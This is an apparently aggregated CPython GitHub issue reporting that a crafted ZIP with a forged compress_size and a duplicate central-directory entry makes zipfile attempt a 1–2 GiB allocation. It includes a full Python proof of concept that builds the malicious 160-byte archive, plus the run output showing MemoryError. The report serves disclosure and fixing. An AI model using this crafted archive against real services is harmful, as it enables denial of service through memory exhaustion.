python / python/cpython

Memory Exhaustion in zipfile via Forged compress_size

Open
#151,307 1 comment 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

stdlib type-bug
Dominant language
Python
Stars
77.2k
Forks
35.9k
PR merge metrics
PR metrics pending

Description

Bug report

Bug description:
Summary

A short ZIP file forces Python's zipfile module to attempt a ~2 GiB heap allocation.

Details

ZipExtFile._read2() passes a user-controlled compress_size from the central directory to self._fileobj.read(n). On 3.14 builds, ZipExtFile.MAX_N caps a single request at 1 GiB. On 3.15, this was corrected to (1 << 31) - 1 = ~2 GiB. A 160-byte crafted ZIP claiming compress_size=0xFFFFFFFE triggers a ~1 GiB (3.14) or ~2 GiB (3.15) allocation attempt.
Note: The overlap check is bypassed using two CD entries with the same filename and header_offset=0, the first entry (forged sizes) gets _end_offset == header_offset, triggering only a warning.

Reproducer
"""
Memory exhaustion in zipfile via crafted compress_size field.
"""

import resource
import struct
import sys
import tempfile
import zipfile


CLAIMED_SIZE = 0xFFFF_FFFE
MEM_LIMIT = 256 * 1024 * 1024  # 256 MiB


def craft_malicious_zip(claimed_compress_size: int) -> bytes:
    """
    Build a minimal valid ZIP with two CD entries.
    """
    filename = b"a.txt"
    file_data = b"x"
    real_size = len(file_data)

    local_header = struct.pack(
        "<4s2B4HL2L2H",
        b"PK\x03\x04",
        20, 0, 0, 0, 0, 0, 0,
        real_size, real_size,
        len(filename), 0,
    )

    cd_offset = len(local_header) + len(filename) + len(file_data)

    cd_entry_forged = struct.pack(
        "<4s4B4HL2L5H2L",
        b"PK\x01\x02",
        20, 0, 20, 0,
        0, 0, 0, 0, 0,
        claimed_compress_size,
        claimed_compress_size,
        len(filename),
        0, 0, 0, 0, 0,
        0,
    )

    cd_entry_normal = struct.pack(
        "<4s4B4HL2L5H2L",
        b"PK\x01\x02",
        20, 0, 20, 0,
        0, 0, 0, 0, 0,
        real_size,
        real_size,
        len(filename),
        0, 0, 0, 0, 0,
        0,
    )

    real_cd_size = (
        len(cd_entry_forged) + len(filename)
        + len(cd_entry_normal) + len(filename)
    )

    eocd = struct.pack(
        "<4s4H2LH",
        b"PK\x05\x06",
        0, 0, 2, 2,
        real_cd_size, cd_offset, 0,
    )

    return (
        local_header + filename + file_data
        + cd_entry_forged + filename
        + cd_entry_normal + filename
        + eocd
    )


def main():
    malicious_zip = craft_malicious_zip(CLAIMED_SIZE)

    with tempfile.NamedTemporaryFile(suffix=".zip") as tmp:
        tmp.write(malicious_zip)
        tmp.flush()

        try:
            with zipfile.ZipFile(tmp.name, "r") as zf:
                forged = zf.filelist[0]
                with zf.open(forged) as f:
                    f.read()
        except MemoryError:
            print(
                f"MemoryError from {len(malicious_zip)}-byte ZIP "
                f"with compress_size={CLAIMED_SIZE:,}"
            )
            sys.exit(0)
        except Exception:
            print("BLOCKED: zipfile rejected forged compress_size")
            sys.exit(1)

    print("BLOCKED: no allocation error raised")
    sys.exit(1)


if __name__ == "__main__":
    resource.setrlimit(resource.RLIMIT_AS, (MEM_LIMIT, MEM_LIMIT))
    main()

Due to how RLIMIT works, that's better to run the poc in a container.

❯ docker run --rm -v "$(pwd)":/work -w /work python:3.14-slim python poc.py
/work/poc.py:92: UserWarning: Overlapped entries: 'a.txt' (possible zip bomb)
  with zf.open(forged) as f:
MemoryError from 160-byte ZIP with compress_size=4,294,967,294
Impact

Memory Exhaustion

Linked issues

https://github.com/python/cpython/issues/141713

/cc @serhiy-storchaka

CPython versions tested on:

3.15

Operating systems tested on:

macOS, Linux

Linked PRs
  • gh-151509

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start at ZipExtFile._read2() in the zipfile module and reproduce the behavior with the provided crafted ZIP under the stated memory limit. Review linked issue 141713 and pull request gh-151509 for the current direction. Done means the forged compress_size no longer causes the demonstrated large allocation or memory exhaustion.

Written by the indexing model from the issue text.

Assessment

Tech stack
python
Domain
security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Stale
Clarity
Mostly clear
Newbie friendliness
25/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.